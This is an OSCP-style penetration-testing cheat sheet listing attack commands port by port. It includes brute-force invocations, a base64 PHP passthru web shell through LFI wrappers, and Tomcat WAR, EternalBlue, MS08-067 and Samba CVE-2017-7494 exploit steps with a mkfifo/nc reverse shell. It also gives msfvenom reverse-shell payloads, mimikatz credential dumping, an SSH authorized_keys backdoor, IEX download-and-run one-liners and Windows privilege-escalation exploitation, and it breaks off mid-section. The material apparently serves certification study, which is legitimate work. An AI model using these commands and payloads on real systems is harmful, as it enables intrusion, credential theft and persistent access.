OSCP Checklist

Enumeration¶

nmap -sn -v <IP>/CIDR

nmapAutomator <IP> All

autorecon <IP>/CIDR

NMAP¶

TCP¶

sudo -sS -sC -sV -oA <NAME>.tcp <IP> -v

UDP¶

sudo -sU -sS -sC -sV -oA <NAME>.udp <IP> -v

FTP - 21¶

Brute force¶

hydra -V -f -L <USERS_LIST> -P <PASSWORDS_LIST> ftp://<IP> -u -vV

Downloading file¶

ftp <IP>
PASSIVE
BINARY
get <FILE>

Uploading file¶

ftp <IP>
PASSIVE
BINARY
put <FILE>

SSH - 22¶

Brute force¶

hydra -V -f -L <USERS_LIST> -P <PASSWORDS_LIST> ssh://<IP> -u -vV

CVE-2008-0166¶

All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected.

https://www.exploit-db.com/exploits/5720

wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2 https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_dsa_1024_x86.tar.bz2

bunzip2 debian_ssh_rsa_2048_x86.tar.bz2 debian_ssh_dsa_1024_x86.tar.bz2
tar -xvf debian_ssh_rsa_2048_x86.tar
tar -xvf debian_ssh_dsa_1024_x86.tar

python 5720 rsa/2048 <IP> <USER> <PORT> <THREADS>
python 5720 dsa/1024 <IP> <USER> <PORT> <THREADS>

SSH backdoor - post exploitation¶

# Attacker
ssh-keygen -f <FILENAME>
chmod 600 <FILENAME>
cat <FILENAME>.pub -> copy

# Victim
echo <FILENAME>.pub >> <PATH>/.ssh/authorized_keys

# Connect
ssh -i <FILENAME> <USER>@<IP>

DNS - 53¶

Zone transfer¶

dnsrecon -d <DOMAIN> -a
dig axfr <DOMAIN> @ns1.test.com

DNS brute force¶

https://github.com/blark/aiodnsbrute

FINGER - 79¶

User enumeration¶

finger @<IP>
finger <USER>@<IP>

Command execution¶

finger "|/bin/id@<IP>"
finger "|/bin/ls -a /<IP>"

HTTP - HTTPS - 80 - 443¶

Automatic scanners¶

nikto -h <URL>
python crawleet.py -u <URL> -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20

Wordpress¶

# Scan
wpscan --rua -e --url <URL>

# Brute force user(s)
wpscan --rua --url <URL> -P <PASSWORDS_LIST> -U "<USER>,<USER>"

Wordpress panel RCE¶

Modifying a php from the theme used (admin credentials needed)

Appearance -> Editor -> 404 Template (at the right)
Change the content for a php shell
https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
http://<IP>/wp-content/themes/twentytwelve/404.php

Drupal¶

Username enumeration¶

In /user/register just try to create a username and if the name is already taken it will be notified :
*The name admin is already taken*

If you request a new password for an existing username :
*Unable to send e-mail. Contact the site administrator if the problem persists.*

If you request a new password for a non-existent username :
*Sorry, test is not recognized as a user name or an e-mail address.*

Accessing /user/<number> you can see the number of existing users :
    - /user/1 -> Access denied (user exist)
    - /user/2 -> Page not found (user doesn't exist)

Hidden pages enumeration¶

Fuzz /node/<NUMBER> where <NUMBER> is a number (from 1 to 500 for example).
You could find hidden pages (test, dev) which are not referenced by the search engines.

wfuzz -c -z range,1-500 --hc 404 <URL>/node/FUZZ

Drupal panel RCE¶

You need the plugin php to be installed (check it accessing to /modules/php and if it returns a 403 then, exists, if not found, then the plugin php isn't installed)

Go to Modules -> (Check) PHP Filter  -> Save configuration

https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php

Then click on Add content -> Select Basic Page or Article -> Write php shellcode on the body -> Select PHP code in Text format -> Select Preview

Joomla¶

joomscan -u <URL>
./joomlavs.rb --url <URL> -a -v

Tomcat¶

Default credentials¶

The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). But  this path is protected by basic HTTP auth, the most common credentials are :

admin:admin
tomcat:tomcat
admin:<NOTHING>
admin:s3cr3t
tomcat:s3cr3t
admin:tomcat

Brute force¶

hydra -L <USERS_LIST> -P <PASSWORDS_LIST> -f <IP> http-get /manager/html -vV -u

Tomcat panel RCE¶

# Generate payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

# Upload payload
Tomcat6 :
wget 'http://<USER>:<PASSWORD>@<IP>:8080/manager/deploy?war=file:shell.war&path=/shell' -O -

Tomcat7 and above :
curl -v -u <USER>:<PASSWORD> -T shell.war 'http://<IP>:8080/manager/text/deploy?path=/shellh&update=true'

# Listener
nc -lvp <PORT>

# Execute payload
curl http://<IP>:8080/shell/

WebDav¶

HTTP brute force authentication¶

HTTP basic authentication¶

# Hydra
hydra -l <USER> -V -P <PASSWORDS_LIST> -s 80 -f <IP> http-get /<URL_ENDPOINT>/ -t 15

# Patator
python patator.py http_fuzz auth_type=basic url=<URL> user_pass=FILE0 0=<USER:PASSWORD_LIST> -x ignore:code=401 -x ignore:code=307

HTTP GET request¶

hydra <IP> -V -l <USER> -P <PASSWORDS_LIST> http-get-form "/login/:username=^USER^&password=^PASS^:F=Error:H=Cookie: safe=yes; PHPSESSID=12345myphpsessid" -t <THREADS_NUMBER>

HTTP POST request¶

hydra -l <USER> -P <PASSWORDS_LIST> <IP> http-post-form "/webapp/login.php:username=^USER^&password=^PASS^:Invalid" -t <THREADS_NUMBER>

Spidering / Brute force directories / files¶

gospider -d <DEPTHS> --robots --sitemap -t <THREADS> -s <URL>

ffuf -w /home/liodeus/directory-list-lowercase-2.3-medium.txt -u <URL>/FUZZ -e .php,.txt -t <THREADS>
dirbuster

Dictionaries :
   - /usr/share/wordlists/dirb/common.txt
   - /usr/share/wordlists/dirb/big.txt
   - /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

File backups¶

Once you have found all the files, look for backups of all the executable files (“.php”, “.aspx“…). Common variations for naming a backup are

file.ext~, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old

Local File Inclusion / Remote File Inclusion - LFI / RFI¶

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion

Wrappers¶

Wrapper php://filter¶

http://example.com/index.php?page=php://filter/convert.base64-encode/resource=

Wrapper expect://¶

http://example.com/index.php?page=expect://id

Wrapper data://¶

echo '<?php phpinfo(); ?>' | base64 -w0 -> PD9waHAgcGhwaW5mbygpOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=

If code execution, you should see phpinfo(), go to the disable_functions and craft a payload with functions which aren't disable.

Code execution with 
    - exec
    - shell_exec
    - system
    - passthru
    - popen

# Exemple
echo '<?php passthru($_GET["cmd"]);echo "Shell done !"; ?>' | base64 -w0 -> PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

If there is "Shell done !" on the webpage, then there is code execution and you can do things like :

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=&cmd=ls

Wrapper input://¶

curl -k -v "http://example.com/index.php?page=php://input" --data "<?php echo shell_exec('id'); ?>"

Useful LFI list¶

# Linux
/home/liodeus/wordlist/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

# Windows
/home/liodeus/wordlist/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt

# Both
/home/liodeus/wordlist/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt

Tools¶

kadimus --url <URL>
python lfisuite.py

Command injection¶

For command injection always use BurpSuite !

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection

Deserialization¶

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization

File upload¶

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files

SQL injection¶

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

https://cobalt.io/blog/a-pentesters-guide-to-sql-injection-sqli

XSS¶

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

beef-xss
cat /usr/share/beef-xss/config.yaml | grep user -C 1 # user / password
<script src="http://<IP>:3000/hook.js"></script>

Other web vulnerabilities¶

https://github.com/swisskyrepo/PayloadsAllTheThings

Upload a file with PUT¶

curl -X PUT http://<IP>/<FILE> -d @<FILE>  -v

KERBEROS - 88¶

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

POP3 - 110¶

Brute force¶

hydra -l <USER> -P <PASSWORDS_LIST> -f <IP> pop3 -V
hydra -S -v -l <USER> -P <PASSWORDS_LIST> -s 995 -f <IP> pop3 -V

Read mail¶

telnet <IP> 110

USER <USER>
PASS <PASSWORD>
LIST
RETR <MAIL_NUMBER>
QUIT

SNMP - 161¶

onesixtyone -c /home/liodeus/wordlist/SecLists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP>

snmpbulkwalk -c <COMMUNITY_STRING> -v<VERSION> <IP>

Modifying SNMP values¶

http://net-snmp.sourceforge.net/tutorial/tutorial-5/commands/snmpset.html

LDAP - 389¶

Scans¶

nmap -n -sV --script "ldap* and not brute"

ldapsearch -h <IP> -x -s base
ldapsearch -h <IP> -x -D '<DOMAIN>\<USER>' -w '<PASSWORD>' -b "DC=<1_SUBDOMAIN>,DC=<TDL>"

Graphical Interface¶

SMB - 445¶

Version if nmap didn’t detect it¶

Sometimes nmap doesn’t show the version of Samba in the remote host, if this happens, a good way to know which version the remote host is running, is to capture traffic with wireshark against the remote host on 445/139 and in parallel run an smbclient -L, do a follow tcp stream and with this we might see which version the server is running.

OR

sudo ngrep -i -d <INTERFACE> 's.?a.?m.?b.?a.*[[:digit:]]' port 139
smbclient -L <IP>

Scan for vulnerability¶

nmap -p139,445 --script "smb-vuln-* and not(smb-vuln-regsvc-dos)" --script-args smb-vuln-cve-2017-7494.check-version,unsafe=1 <IP>

If :

MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494

Manual testing¶

smbmap -H <IP>
smbmap -u '' -p '' -H <IP>
smbmap -u 'guest' -p '' -H <IP>
smbmap -u '' -p '' -H <IP> -R

crackmapexec smb <IP>
crackmapexec smb <IP> -u '' -p ''
crackmapexec smb <IP> -u 'guest' -p ''
crackmapexec smb <IP> -u '' -p '' --shares

enum4linux -a <IP>

smbclient --no-pass -L //$IP
smbclient //<IP>/<SHARE>

# Download all files from a directory recursively
smbclient //<IP>/<SHARE> -U <USER> -c "prompt OFF;recurse ON;mget *"

Brute force¶

crackmapexec smb <IP> -u <USERS_LIST> -p <PASSWORDS_LIST>
hydra -V -f -L <USERS_LIST> -P <PASSWORDS_LIST> smb://<IP> -u -vV

mkdir /tmp/share
sudo mount -t cifs //<IP>/<SHARE> /tmp/share
sudo mount -t cifs -o 'username=<USER>,password=<PASSWORD>'//<IP>/<SHARE> /tmp/share

smbclient //<IP>/<SHARE>
smbclient //<IP>/<SHARE> -U <USER>

Get a shell¶

psexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
psexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

wmiexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
wmiexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

smbexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP>
smbexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

atexec.py <DOMAIN>/<USER>:<PASSWORD>@<IP> <COMMAND>
atexec.py <DOMAIN>/<USER>@<IP> -hashes :<NTHASH>

EternalBlue (MS17-010)¶

https://github.com/3ndG4me/AutoBlue-MS17-010

Check if vulnerable¶

python eternal_checker.py <IP>

Prepare shellcodes and listeners¶

cd shellcode
./shell_prep.sh
cd ..
./listener_prep.sh

Exploit¶

python eternalblue_exploit<NUMBER>.py <IP> shellcode/sc_all.bin

May need to run it multiple times

If this doesn’t work, try this one¶

python zzz_exploit.py <IP>

MS08-067¶

# Download exploit code
git clone https://github.com/andyacer/ms08_067.git

# Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
msfvenom -p windows/shell_bind_tcp RHOST=<IP> LPORT=<PORT> EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

# Modify
Modify ms08_067_2018.py and replace the shellcode variable by the one generated with msfvenom.

# Listener
nc -lvp <PORT>

# Exploit
python ms08_067_2018.py <IP> <NUMBER> 445

CVE-2017-7494¶

# Download exploit code
git clone https://github.com/joxeankoret/CVE-2017-7494

Create a new file named poc.c :

#include <stdio.h>
#include <stdlib.h>

int samba_init_module(void)
{
    setresuid(0,0,0);
    system("ping -c 3 <IP>");
}

# Build
gcc -o test.so -shared poc.c -fPIC

# Start an ICMP listener
sudo tcpdump -i <INTERFACE> icmp

# Exploit
./cve_2017_7494.py -t <TARGET_IP> -u <USER> -P <PASSWORD> --custom=test.so

If you reiceve 3 pings on your listener then the exploit works. Now let’s get a shell :

#include <stdio.h>
#include <stdlib.h>

int samba_init_module(void)
{
    setresuid(0,0,0);
    system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f");
}

# Build
gcc -o test.so -shared poc.c -fPIC

# Start a listener
nc -lvp <PORT>

# Exploit
./cve_2017_7494.py -t <TARGET_IP> -u <USER> -P <PASSWORD> --custom=test.so

MSSQL - 1433¶

Get information¶

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Brute force¶

hydra -L <USERS_LIST> -P <PASSWORDS_LIST> <IP> mssql -vV -I -u

Having credentials¶

mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<IP>
mssqlclient.py <USER>:<PASSWORD>@<IP>

# Once logged in you can run queries:
SQL> select @@ version;

# Steal NTLM hash
sudo smbserver.py -smb2support liodeus .
SQL> exec master..xp_dirtree '\\<IP>\liodeus\' # Steal the NTLM hash, crack it with john or hashcat

# Try to enable code execution
SQL> enable_xp_cmdshell

# Execute code
SQL> xp_cmdshell whoami /all
SQL> xp_cmdshell certutil.exe -urlcache -split -f http://<IP>/nc.exe

Manual exploit¶

Cheatsheet :
    - https://www.asafety.fr/mssql-injection-cheat-sheet/

NFS - 2049¶

Show Mountable NFS Shares¶

showmount -e <IP>
nmap --script=nfs-showmount -oN mountable_shares <IP>

sudo mount -v -t nfs <IP>:<SHARE> <DIRECTORY>
sudo mount -v -t nfs -o vers=2 <IP>:<SHARE> <DIRECTORY>

NFS misconfigurations¶

# List exported shares
cat /etc/exports

If you find some directory that is configured as no_root_squash/no_all_squash you may be able to privesc.

# Attacker, as root user

mkdir <DIRECTORY>
mount -v -t nfs <IP>:<SHARE> <DIRECTORY>
cd <DIRECTORY>
echo 'int main(void){setreuid(0,0); system("/bin/bash"); return 0;}' > pwn.c
gcc pwn.c -o pwn
chmod +s pwn

# Victim

cd <SHARE>
./pwn # Root shell

MYSQL - 3306¶

Brute force¶

hydra -L <USERS_LIST> -P <PASSWORDS_LIST> <IP> mysql -vV -I -u

cat /etc/mysql/debian.cnf
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Connect¶

# Local
mysql -u <USER>
mysql -u <USER> -p

# Remote
mysql -h <IP> -u <USER>

MySQL commands¶

show databases;
use <DATABASES>;

show tables;
describe <TABLE>;

select * from <TABLE>;

# Try to execute code
select do_system('id');
\! sh

# Read & Write
select load_file('<FILE>');
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE '<OUT_FILE>'

Manual exploit¶

Cheatsheet :
    - https://www.asafety.fr/mysql-injection-cheat-sheet/

RDP - 3389¶

Brute force¶

crowbar -b rdp -s <IP>/CIDR -u <USER> -C <PASSWORDS_LIST>
crowbar -b rdp -s <IP>/CIDR -U <USERS_LIST> -C <PASSWORDS_LIST>

hydra -f -L <USERS_LIST> -P <PASSWORDS_LIST> rdp://<IP> -u -vV

Connect with known credentials / hash¶

rdesktop -u <USERNAME> <IP>
rdesktop -d <DOMAIN> -u <USERNAME> -p <PASSWORD> <IP>

xfreerdp /u:[DOMAIN\]<USERNAME> /p:<PASSWORD> /v:<IP>
xfreerdp /u:[DOMAIN\]<USERNAME> /pth:<HASH> /v:<IP>

Session stealing¶

Get openned sessions¶

Access to the selected¶

tscon <ID> /dest:<SESSIONNAME>

Adding user to RDP group (Windows)¶

net localgroup "Remote Desktop Users" <USER> /add

VNC - 5800 - 58001 - 5900 - 5901¶

Scans¶

nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -v -p <PORT> <IP>

Brute force¶

hydra -L <USERS_LIST> –P <PASSWORDS_LIST> -s <PORT> <IP> vnc -u -vV

Connect¶

Found VNC password¶

Linux¶

Default password is stored in: ~/.vnc/passwd

Windows¶

# RealVNC
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver

# TightVNC
HKEY_CURRENT_USER\Software\TightVNC\Server

# TigerVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4

# UltraVNC
C:\Program Files\UltraVNC\ultravnc.ini

Decrypt VNC password¶

msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["2151D3722874AD0C"].pack('H*'), fixedkey
/dev/nul

WINRM - 5985 - 5986¶

Brute force¶

crackmapexec winrm <IP> -u <USERS_LIST> -p <PASSWORDS_LIST>

Connecting¶

evil-winrm -i <IP> -u <USER> -p <PASSWORD>
evil-winrm -i <IP> -u <USER> -H <HASH>

CGI¶

Found CGI scripts¶

ffuf -w /home/liodeus/wordlist/SecLists/Discovery/Web-Content/CGI-XPlatform.fuzz.txt -u <URL>/ccgi-bin/FUZZ -t 50
ffuf -w /home/liodeus/wordlist/SecLists/Discovery/Web-Content/CGIs.txt -u <URL>/ccgi-bin/FUZZ -t 50
ffuf -w /home/liodeus/directory-list-lowercase-2.3-medium.txt -u <URL>/cgi-bin/FUZZ -e .sh,.pl,.cgi -t 100

If a script is found try SHELLSHOCK.

Command and control framework¶

# Download
git clone https://github.com/mhaskar/Octopus/tree/v1.2

# Install requirements
pip install -r requirements.txt

# Usage
./octopus.py

# Listener (exemple)
listen_http <BIND_IP> <BIND_PORT> <HOSTNAME> <INTERVAL_IN_SECONDS> <URL> <LISTENER_NAME>
listen_http 0.0.0.0 80 192.168.1.87 5 test.php listener_1

# Agent (exemple)
generate_powershell <LISTENER_NAME>
generate_powershell listener_1

Compiling exploits¶

For linux¶

# 64 bits
gcc -o exploit exploit.c

# 32 bits
gcc -m32 -o exploit exploit.c

For windows¶

To compile Win32 bit executables, execute i686-w64-mingw32-gcc -o <FILE.exe> <FILE.c>
To compile Win64 bit executables, execute x86_64-w64-mingw32-gcc -o <FILE.exe><FILE.c>
To Compiled .cpp source file, execute i586-mingw32msvc-g++ -o <FILE>.exe <FILE>.cpp
To compile python scripts, pyinstaller --onefile <SCRIPT.py>

# Compile windows .exe on Linux
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe

Cross compile¶

gcc -m32 -Wall -Wl,--hash-style=both -o gimme.o gimme.c

DICTIONARY GENERATION¶

cewl -m <WORDS_SIZE> --with-numbers -w dictiFromWebsite <URL> -d <DEPTH>

crunch 5 5 -f /usr/share/crunch/charset.lst mixalpha-numeric-all -t Test@ -o passwords.txt

FILE TRANSFER¶

Linux¶

# PYTHON
python -m SimpleHTTPServer <PORT>
python2.7 -c "from urllib import urlretrieve; urlretrieve('<URL>', '<DESTINATION_FILE>')"

# FTP
sudo python3 -m pyftpdlib  -p 21 -w

# SMB
sudo smbserver.py -smb2support liodeus .

# WGET
wget <URL> -o <OUT_FILE>

# CURL
curl <URL> -o <OUT_FILE>

# NETCAT
nc -lvp 1234 > <OUT_FILE> 
nc <IP> 1234 < <IN_FILE> 

# SCP
scp <SOURCE_FILE> <USER>@<IP>:<DESTINATION_FILE>

Windows¶

# FTP 
echo open <IP> 21 > ftp.txt echo anonymous>> ftp.txt echo password>> ftp.txt echo binary>> ftp.txt echo GET <FILE> >> ftp.txt echo bye>> ftp.txt
ftp -v -n -s:ftp.txt

# SMB
copy \\<IP>\<PATH>\<FILE> # Linux -> Windows
copy <FILE> \\<IP>\<PATH>\ # Windows -> Linux

# Powershell
powershell.exe (New-Object System.Net.WebClient).DownloadFile('<URL>', '<DESTINATION_FILE>')
powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('<URL>')
powershell "wget <URL>"

# Python
python.exe -c "from urllib import urlretrieve; urlretrieve('<URL>', '<DESTINATION_FILE>')"

# CertUtil
certutil.exe -urlcache -split -f "<URL>"

# NETCAT
nc -lvp 1234 > <OUT_FILE> 
nc <IP> 1234 < <IN_FILE>

# CURL
curl <URL> -o <OUT_FILE>

GIT¶

Download .git¶

mkdir <DESTINATION_FOLDER>
./gitdumper.sh <URL>/.git/ <DESTINATION_FOLDER>

Extract .git content¶

mkdir <EXTRACT_FOLDER>
./extractor.sh <DESTINATION_FOLDER> <EXTRACT_FOLDER>

HASHES¶

Windows¶

reg save HKLM\SAM c:\SAM
reg save HKLM\System c:\System

samdump2 System SAM > hashes

Linux¶

unshadow passwd shadow > hashes

MIMIKATZ¶

sekurlsa::logonpasswords
sekurlsa::tickets /export

kerberos::list /export

vault::cred
vault::list

lsadump::sam
lsadump::secrets
lsadump::cache

MISCELLANEOUS¶

Get a Windows path without spaces¶

# path.cmd
@echo off
echo %~s1

path.cmd "C:\Program Files (x86)\Common Files\test.txt"
C:\PROGRA~2\COMMON~1\test.txt -> Valid path without spaces

MSFVENOM PAYLOAD¶

Linux¶

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf

Windows¶

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe

PHP¶

msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php

Then we need to add the <?php at the first line of the file so that it will execute as a PHP webpage
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP¶

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

JSP¶

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp

WAR¶

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

Python¶

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py

Bash¶

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh

Perl¶

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl

Listener¶

Metasploit¶

use exploit/multi/handler
set PAYLOAD <PAYLOAD>
set LHOST <LHOST>
set LPORT <LPORT>
set ExitOnSession false
exploit -j -z

Netcat¶

PASSWORD CRACKING¶

Online¶

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512 hashes
https://hashes.com/en/decrypt/hash

Hashcat¶

Linux password¶

hashcat -m 1800 -a 0 hash.txt rockyou.txt
hashcat -m 1800 -a 0 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

Windows password¶

hashcat -m 1000 -a 0 hash.txt rockyou.txt
hashcat -m 1000 -a 0 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

Others¶

hashcat --example-hashes | grep -i '<BEGINNING_OF_HASH>'

Rules¶

https://github.com/NotSoSecure/password_cracking_rules

John¶

john --wordlist=<PASSWORDS_LIST> hash.txt

PIVOTING¶

Sshuttle¶

sshuttle <USER>@<IP> <IP_OF_THE_INTERFACE>/CIDR

Proxychains¶

ssh -f -N -D 9050 <USER>@<IP>
proxychains <COMMAND>

Interesting link¶

https://artkond.com/2017/03/23/pivoting-guide/

PRIVILE ESCALATION¶

Linux¶

Enumeration scripts¶

bash LinEnum.sh
bash lse.sh -l 1
bash linpeas.sh
python linuxprivchecker.py
./unix-privesc-check standard

Vulnerability scan¶

Suid checker¶

python suid3num.py

https://gtfobins.github.io/

Methodology to follow¶

https://guif.re/linuxeop
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

sudo -l
Kernel Exploits
OS Exploits
Password reuse (mysql, .bash_history, 000- default.conf...)
Known binaries with suid flag and interactive (nmap)
Custom binaries with suid flag either using other binaries or with command execution
Writable files owned by root that get executed (cronjobs)
MySQL as root
Vulnerable services (chkrootkit, logrotate)
Writable /etc/passwd
Readable .bash_history
SSH private key
Listening ports on localhost
/etc/fstab
/etc/exports
/var/mail
Process as other user (root) executing something you have permissions to modify
SSH public key + Predictable PRNG
apt update hooking (PreInvoke)

Windows¶

Enumeration scripts¶

General scans¶

winPEAS.exe
windows-privesc-check2.exe
Seatbelt.exe -group=all
powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"
Powerless.bat
winPEAS.bat

Search for CVE¶

systeminfo > systeminfo.txt
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database <DATE>-mssb.xlsx --systeminfo systeminfo.txt

systeminfo > systeminfo.txt
wmic qfe > qfe.txt
python wes.py -u
python wes.py systeminfo.txt qfe.txt

powershell -exec bypass -command "& { Import-Module .\Sherlock.ps1; Find-AllVulns; }"

Post exploitation¶

lazagne.exe all
SharpWeb.exe
mimikatz.exe

JuicyPotato (SeImpersonate or SeAssignPrimaryToken)¶

If the user has SeImpersonate or SeAssignPrimaryToken privileges then you are SYSTEM.

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe <IP> <PORT> -e c:\windows\system32\cmd.exe" -t *
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c nc.exe <IP> <PORT> -e c:\windows\system32\cmd.exe" -t * -c <CLSID>

# CLSID
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

Methodology to follow¶

https://guif.re/windowseop
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://mysecurityjournal.blogspot.com/p/client-side-attacks.html
http://www.fuzzysecurity.com/tutorials/16.html
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Autorun¶

Detection¶

powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"

[*] Checking for modifiable registry autoruns and configs...

Key            : HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\My Program
Path           : "C:\Program Files\Autorun Program\program.exe"
ModifiableFile : @{Permissions=System.Object[]; ModifiablePath=C:\Program Files\Autorun Program\program.exe; IdentityReference=Everyone}

or

winPEAS.exe

[+] Autorun Applications(T1010)
    Folder: C:\Program Files\Autorun Program
    File: C:\Program Files\Autorun Program\program.exe
    FilePerms: Everyone [AllAccess]

Exploitation¶

# Attacker
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > program.exe
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
cd C:\Program Files\Autorun Program\
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/program.exe', '.\program.exe')

To execute it with elevated privileges we need to wait for someone in the Admin group to login.

AlwaysInstallElevated¶

Detection¶

powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"

[*] Checking for AlwaysInstallElevated registry key...

AbuseFunction : Write-UserAddMSI

or

reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

If both values are equal to 1 then it's vulnerable.

or

winPEAS.exe

[+] Checking AlwaysInstallElevated(T1012)

  AlwaysInstallElevated set to 1 in HKLM!
  AlwaysInstallElevated set to 1 in HKCU!

Exploitation¶

# Attacker
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi > program.msi
sudo python -m SimpleHTTPServer 80
sudo nc -lvp <PORT>

# Victim
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/program.msi', 'C:\Temp\program.msi')
msiexec /quiet /qn /i C:\Temp\program.msi

Executable Files¶

Detection¶

powershell -exec bypass -command "& { Import-Module .\PowerUp.ps1; Invoke-AllChecks; }"

[*] Checking service executable and argument permissions...

ServiceName                     : filepermsvc
Path                            : "C:\Program Files\File Permissions Service\filepermservice.exe"
ModifiableFile                  : C:\Program Files\File Permissions Service\filepermservice.exe
ModifiableFilePermissions       : {ReadAttributes, ReadControl, Execute/Traverse, DeleteChild...}
ModifiableFileIdentityReference : Everyone
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'filepermsvc'
CanRestart                      : True

or

winPEAS.exe

[+] Interesting Services -non Microsoft-(T1007)

filepermsvc(Apache Software Foundation - File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

Exploitation¶

# Attacker
